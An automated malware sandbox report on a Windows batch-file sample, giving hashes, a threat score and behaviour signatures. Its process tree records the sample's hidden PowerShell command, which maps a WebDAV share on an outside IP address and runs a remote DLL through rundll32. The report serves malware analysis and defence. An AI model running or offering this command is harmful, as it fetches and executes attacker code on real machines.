Resubmissions

11-12-2024 15:32

241211-sy44nssrdm 10

09-08-2024 21:57

240809-1t1vfs1cpm 10

06-08-2024 13:01

240806-p9f97szdlm 10

06-08-2024 12:52

240806-p3672stdkg 10

06-08-2024 12:29

240806-ppa8fsygqr 10

06-08-2024 12:26

240806-pmc92ashlh 10

Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    06-08-2024 12:26

General

  • Target

    1/f0f496eccc61594c53ded581b6683a77072f607ab018ec0a770a0aa7c7f45ff4.bat

  • Size

    2KB

  • MD5

    e86739a5ddb407e0c60f9521728cf418

  • SHA1

    b6e2b6c70f3b09f7c12b4d8a83563e79a1745a23

  • SHA256

    f0f496eccc61594c53ded581b6683a77072f607ab018ec0a770a0aa7c7f45ff4

  • SHA512

    7d64d83aea215f0a0321d9d938c17bfcdcfa6d8f9c3aabce69067cdfffe1dbae0cc7da4425d5abfeee24cdf3efe0320df132a2c7564be80d30fc85eabad7434f

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\1\f0f496eccc61594c53ded581b6683a77072f607ab018ec0a770a0aa7c7f45ff4.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2404
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3032
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2808
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3435.dll entry
          3⤵
            PID:2832

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/3032-23-0x000000001B710000-0x000000001B9F2000-memory.dmp

        Filesize

        2.9MB

      • memory/3032-24-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

        Filesize

        32KB